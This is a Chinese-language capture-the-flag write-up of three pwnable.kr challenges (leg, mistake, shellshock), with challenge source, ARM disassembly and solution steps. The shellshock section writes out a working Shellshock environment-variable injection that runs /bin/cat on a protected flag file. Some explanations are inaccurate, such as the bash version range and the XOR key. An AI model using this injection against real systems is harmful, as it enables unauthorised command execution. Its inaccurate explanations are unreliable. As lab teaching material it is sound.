pwnable.kr-leg-mistake-shellshock
leg
#include <stdio.h> #include <fcntl.h> int key1(){ asm("mov r3, pc\n"); } int key2(){ asm( "push {r6}\n" "add r6, pc, $1\n" "bx r6\n" ".code 16\n" "mov r3, pc\n" "add r3, $0x4\n" "push {r3}\n" "pop {pc}\n" ".code 32\n" "pop {r6}\n" ); } int key3(){ asm("mov r3, lr\n"); } int main(){ int key=0; printf("Daddy has very strong arm! : "); scanf("%d", &key); if( (key1()+key2()+key3()) == key ){ printf("Congratz!\n"); int fd = open("flag", O_RDONLY); char buf[100]; int r = read(fd, buf, 100); write(0, buf, r); } else{ printf("I have strong leg :P\n"); } return 0; }
獲取flag的條件是key1+key2+key3=key;
看來是一道考察某個基礎知識點的題目,關鍵在於asm()函式。
asm()能把()內語句寫入到彙編中執行,既然這樣,直接看彙編程式碼。
(gdb) disass key1 Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lr End of assembler dump.
可以看到move r3,pc這個在key1函式中出現的語句被寫到了彙編中。
PC即暫存器R15,對於ARM指令集而言,PC總是指向當前指令的下兩條指令的地址,即PC的值為當前指令的地址值加8個位元組程式狀態暫存器。由此可知r3的值就是0x00008cdc+8,然後下一條語句出現了r0,在ARM裡r0是作為函式的返回值,所以key1=r0=r3=0x00008cdc+8.
(gdb) disass key2 Dump of assembler code for function key2: 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cf4 <+4>: add r11, sp, #0 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!) 0x00008cfc <+12>: add r6, pc, #1 0x00008d00 <+16>: bx r6 0x00008d04 <+20>: mov r3, pc 0x00008d06 <+22>: adds r3, #4 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 0x00008d14 <+36>: sub sp, r11, #0 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d1c <+44>: bx lr End of assembler dump.
根據上一步,看到mov r0,r3 所以key2=r0=r3=PC+4但是到這裡往上逆推的時候出現了bx
BX: 帶狀態切換的跳轉。最低位為1時,切換到Thumb指令執行,為0時,解釋為ARM指令執行。
因為R6=PC+1,所以bx跳轉到Thumb模式,這時PC=當前程式地址+4
所以key2=0x00008d04+4+4
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
還是一樣,key3=r0=r3=lr
R14稱為子程式連結暫存器LR(Link Register)有兩個特殊功能,一種是每一種模式下都可以用於儲存函式的返回地址,另外就是異常處理後的返回地址,如中斷。
這題裡的lr是作為函式的返回地址,即main函式中執行完key3函式後的下一個程式語句的地址
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
由此可得key3=lr=0x00008d80
寫個python小程式做加法
a=0x8cdc+8
b=0x8d04+0x4+0x4
c=0x8d80
d=a+b+c;
print(d);
提交結果,得到flag
mistake
這題的題目描述裡有個hint,提示我們這題關鍵在於運算子的優先順序
#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}
int main(int argc, char* argv[]){
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}
printf("do not bruteforce...\n");
sleep(time(0)%20);
char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}
char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10);
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}
close(fd);
return 0;
}
第一個if語句裡同時出現了=和<,這時候先執行<,然後才是執行=,因為password檔案是可以開啟的,所以open返回檔案描述符0,0<0=false,所以fd=0
因此第二個if語句中的read其實是以fd作為檔案描述符,即標準輸入,把我們鍵盤輸入的內容傳給pwn_buf
因此這個程式是讓我們在"input password"之前輸入pw_buf的值,之後再輸入pw_buf2的值,然後把pw_buf2的值按位異或0,接著再和pw_buf做比較,相等則strncmp返回0,執行system語句
所以可以輸入0000000000 1111111111,總之pw_buf和pw_buf2每一位不同即可得到flag
shellshock
這題提示說是基於真實案例。shellshock漏洞存在於4.1版本之前的bash中。
通過往環境變數中新增執行語句,可以讓bash執行任意命令
具體格式為
[email protected]:~$ env x='() { :;}; echo v' ./bash -c "echo this is a test"
這樣螢幕就會輸出
v this is a test
注意空格。
因為bash在執行之前會引入環境變數(env檢視當前環境變數),這時候環境變數內如果有可執行語句,也會一起執行。
如果直接執行
[email protected]:~$ env x='() { :;}; /bin/cat flag' ./bash -c "echo this is a test" 會返回
/bin/cat: flag: Permission denied Segmentation fault 而shellshock中既調動了bash,還讓我們有了訪問flag的許可權。
所以直接執行
[email protected]:~$ env x='() { :;}; /bin/cat flag' ./shellshock
得到flag
//為什麼會出現Segmentation fault,還有bash在讀取環境變數時為何會執行語句,以及setresuid()和setresgid()兩個函式的定義並沒有搞清楚。